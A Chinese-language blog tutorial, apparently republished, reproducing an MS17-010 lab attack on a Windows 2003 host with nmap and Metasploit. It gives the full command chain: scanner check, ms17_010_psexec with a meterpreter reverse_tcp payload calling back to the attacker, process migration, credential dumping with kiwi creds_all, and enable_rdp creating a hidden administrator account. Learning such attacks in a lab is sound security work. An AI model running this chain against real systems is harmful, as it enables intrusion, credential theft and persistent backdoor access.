ms_17_010漏洞利用

ms17_010漏洞利用复现

ms17_010漏洞原理

能力有限,请参见大佬的blog:https://blog.csdn.net/luoshenwei3533/article/details/82931999

环境准备

kali 作为攻击方 IP 10.1.1.1
win2003 作为受害方 IP 10.1.1.2

漏洞利用条件

win2003 开启了445端口(默认是开启的),未打漏洞补丁
win2003 关闭防火墙
二者能够相互ping通

简单的信息收集

1)假设攻击方目前不知道目标主机的端口,系统等信息,做一个简单的信息收集
使用nmap对目标IP进行简单的半开放扫描:namp -sS -Pn -O -sV 10.1.1.2

在这里插入图片描述

漏洞验证

由图片可以看到,目标主机开放了445端口,并且猜测目标系统是2003sp系列,所以很有可能存在ms17_010漏洞,接下来,使用metasploit漏洞验证和利用平台进一步验证:
1)kali 输入msfconsole 打开metasploit控制台
2)msf控制台输入:search ms17_010 查找漏洞验证和利用模块
*** 这里分享一个漏洞验证模块的识别方法:一般Name字段带有auxiliary 或者 scanner 或者 check 字样的为验证模块,而带有exploit字样的为利用模块;

在这里插入图片描述

这里选择第二个模块来验证漏洞:
1)use 1 或者  use auxiliary/scanner/smb/smb_ms17_010 进入模块
2)show options   查看模块相关参数
*** 一般required栏是 yes的为必需项,有些参数是需要手动去改的,例如模块中的 rhosts 默认为空 
3)set rhosts 10.1.1.2  设置需要验证漏洞的主机IP 
*** 最后可使用 show options 再次查看IP ,端口设置是否正确

在这里插入图片描述

4)确认无误后, run 或者 exploit 开始漏洞验证,图中显示,host 很有可能存在ms17_010漏洞

在这里插入图片描述

漏洞利用

1)再次search ms17_010 查看模块
2)use 4 或者 use exploit/windows/smb/ms17_010_psexec 进入攻击模块

在这里插入图片描述

3)进入该模块后可能会提示 :No payload configured, defaulting to windows/meterpreter/reverse_tcp ,提示没有设置payload(攻击载荷[!https://blog.csdn.net/weixin_30279751/article/details/98646218])
设置攻击载荷:set payload windows/meterpreter/reverse_tcp 
***查看攻击载荷 show payloads
4)show options  查看攻击模块相关参数
5)set rhosts 10.1.1.2  设置攻击的目标IP(默认空)
   set lhost  10.1.1.1  设置与目标主机建立联系的主机IP (默认为127.0.0.1)
   set lport 5555   (设置与目标IP对应端口建立联系的端口,默认为4444)

在这里插入图片描述

4)run  or exploit

在这里插入图片描述

5)10.1.1.1:5555 -> 10.1.1.2:1180,建立会话成功,并返回了一个会话连接

### 渗透后期

1)sysinfo 查看系统信息

在这里插入图片描述

​	2)getuid 查看当前用户的权限,可以看到通过这个漏洞利用得到的是目标主机上的系统权限

在这里插入图片描述

3)shell 获取目标系统shell

在这里插入图片描述

4)进程迁移,因为攻击模块所获取的是目标主机的系统权限,而有些操作需要管理员权限来进行(比如键盘记录),所以
需要进行进程迁移;首先在meterpreter会话上,ps 查看目标主机上以管理员权限运行的进程有哪些;同理,如果需要系
统权限,再迁移至由系统权限执行的进程即可;

在这里插入图片描述

扫描二维码关注公众号,回复: 13615731 查看本文章
migrate 2772 (PID进程号) 进行进程迁移来得到管理员权限;

在这里插入图片描述

5)获取目标主机用户以及密码,需要使用system权限,如果是在administrator下,直接使用 getsystem 即可,如果不是则需要进行进程迁移;
	load kiwi  加载kiwi模块
	help kiwi  查看kiwi模块帮助

在这里插入图片描述

	creds_all  查看用户,密码,密码对应hash值等

在这里插入图片描述

6)开放端口服务(例如3389)
先去win2003将3389端口关闭,开始 --》我的电脑 --》右键 --》属性 --》远程 --》远程桌面选项 去掉

在这里插入图片描述

然后:kali的meterpreter会话上输入:run post/windows/manage/enable_rdp username=adduser password=123456
*** 执行以上命令,可以看到,是调用了enable_rdp模块,创建了一个终端(相当于打开了一个cmd),并使用 net user /add 命令添加了一个adduser用户,并将adduser添加到了“远程桌面管理组”,并且将adduser加入了“超级管理员组”,还隐藏了用户在登录界面的显示;

在这里插入图片描述

目标主机验证,netstat -an 查看所有端口信息,3389被打开,net user查看用户,多了一个adduser用户

在这里插入图片描述
在这里插入图片描述

kali使用创建的用户尝试远程登录[另起终端]:rdesktop 10.1.1.2 -u adduser -p 123456,登录成功;

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_46635165/article/details/116208668